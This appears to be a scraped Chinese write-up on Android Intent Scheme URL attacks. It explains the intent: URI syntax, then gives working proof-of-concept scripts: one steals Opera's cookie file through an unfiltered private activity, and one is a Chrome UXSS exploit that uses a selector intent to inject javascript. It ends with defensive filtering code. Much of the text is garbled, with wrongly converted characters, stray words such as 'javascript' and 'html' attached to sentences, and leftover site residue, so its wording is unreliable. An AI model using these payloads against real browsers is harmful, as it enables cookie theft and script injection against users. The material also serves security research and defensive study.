Android Intent Scheme URLs攻擊

0x0 引言

 咱們知道,在Android上的Intent-based攻擊很是廣泛。這樣的攻擊輕則致使應用程序崩潰。重則可能演變提權漏洞。固然,經過靜態特徵匹配,Intent-Based的惡意樣本仍是很是easy被識別出來的。javascript

然而近期出現了一種基於Android Browser的攻擊手段——Intent Scheme URLs攻擊。這樣的攻擊方式利用了瀏覽器保護措施的不足,經過瀏覽器做爲橋樑間接實現Intend-Based攻擊。html

相比於普通Intend-Based攻擊,這樣的方式極具隱蔽性,而且由於惡意代碼隱藏WebPage中。傳統的特徵匹配全然不起做用。除此以外,這樣的攻擊還能直接訪問跟瀏覽器自身的組件(無論是公開仍是私有)和私有文件,比方cookie文件。進而致使用戶機密信息的泄露。java


0x1 Intent scheme URL的使用方法

看一下Intent Scheme URL的使用方法。android

<script>location.href = 「intent:mydata#Intent;action=myaction;type=text/plain;end」</script>

從使用方法上看,仍是很是好理解的,這裏的代碼等價於例如如下Java代碼:web

Intent intent = new Intent(「myaction」);
intent.setData(Uri.parse(「mydata」));
intent.setType(「text/plain」);

再看一個樣例:chrome

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的語句,等價於例如如下Java代碼:瀏覽器

Intent intent = new Intent(「myaction」);
intent.setData(Uri.pase(「//foobar/」));
intent.putExtra(「xyz」, 「123」);
intent.putExtra(「abc」, 678);

當中S表明String類型的key-value,i表明int類型的key-value。安全

源代碼中提供了Intent.parseUri(String uri)靜態方法,經過這種方法可以直接解析uri,假設想更一步瞭解當中的語法,可以查看官方源代碼。cookie


0x2 Intent scheme URI的解析及過濾

假設瀏覽器支持Intent Scheme URI語法。一般會分三個步驟進行處理:app

  1. 利用Intent.parseUri解析uri,獲取原始的intent對象。
  2. 對intent對象設置過濾規則。不一樣的瀏覽器有不一樣的策略。後面會具體介紹。
  3. 經過Context.startActivityIfNeeded或者Context.startActivity發送intent;

當中步驟2起關鍵做用,過濾規則缺失或者存在缺陷都會致使Intent Schem URL攻擊。

如下是各大瀏覽器對Intent scheme URL的支持狀況 



可見,除了Firefox外其它的瀏覽器都支持Intent Scheme URL語法。



0x3 攻擊演示樣例

a.Opera mobile之cookie盜取

Opera上的intent過濾策略是全然缺失的,所以咱們可以輕易調用Opera上的私有activity。比方如下這個攻擊演示樣例:

<script>
location.href = 「intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end」;
</script>

經過上面的腳本,咱們可以直接調起AdMarvelActivity。AdMarvelActvity會從intent中獲取url。並以HTML/JavaScript的方式解析cookies文件。

試想一下,假設咱們預先構造一個惡意站點,並讓用戶經過瀏覽器訪問。

這時在惡意見面中,存在例如如下腳本:

<script>
document.cookie = 「x=<script>(javascript code)</scr」 + 「ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT」;
location.href = 「intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end」;
</script>

當AdMarvelActivity解析cookies文件時,就會運行playload。


b.Chrome之UXSS

Chrome的UXSS漏洞利用相對複雜。介紹以前。咱們需要先了解一下關於Intent Selector的使用方法。詳情見。簡而言之。Intent Selector機制提供一種main intent不匹配的狀況下可以設置替補的方案。

比方A是main intent, B是A的selector intent,當startActiviy時,系統發現A沒法匹配則會嘗試用B去匹配。

Chrome相比於Opera,在intent過濾的步驟中加入了安全策略。代碼例如如下:

Intent intent = Intent.parseUri(uri);
intent.addCategory(「android.intent.category.BROWSABLE」);
intent.setComponent(null);
context.startActivityIfNeeded(intent, -1);

從代碼中。可以看到Chrome爲了防護Intent Based攻擊,作了很多限制。比方把category強置爲」android.intent.category.BROWSABLE」,把component強置爲null,相對以後比Opera強多了。然而。Chrome忽略了Intent Selector的使用方法,比方如下的使用方法:

intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

留意當中的keyword「SEL」,事實上就是設置了一個component爲com.android.chrome/.xyz的 selector intent,這樣的使用方法致使chrome的防護措施形同虛設。最後看一下Chrome UXSS的PoC:

<script>
//經過WebAppActivity0咱們先打開一個攻擊的網站
location.href = "intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
// 停留2s或者更長時間, 而後注入javascript payload
setTimeout(function() {
location.href = "intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end";
}, 2000); 
</script>

這裏的關鍵點是WebappActivity0對new intent的處理方式上。

第一次打開網站。並完畢載入。

第二次則是直接把javascript payload注入到目標網頁。這個漏洞存在於在所有低於v.30.0.1599.92的chrome版本號。而新版本號改動WebappActivity對new intent的處理方式,會建立new tab,這樣就避免了javascript inject。

然而在新版中,依舊沒有屏避intent selector的使用。所以依舊存在Chrome的私有組件和文件被讀取的安全隱患。


0x4 結論

經過上兩個漏洞的描寫敘述,咱們總結得出一種相對照較安全的Intent Filter方法,代碼例如如下:

// convert intent scheme URL to intent object
Intent intent = Intent.parseUri(uri);
// forbid launching activities without BROWSABLE category
intent.addCategory("android.intent.category.BROWSABLE");
// forbid explicit call
intent.setComponent(null);
// forbid intent with selector intent
intent.setSelector(null);
// start the activity by the intent
context.startActivityIfNeeded(intent, -1);
相關文章
相關標籤/搜索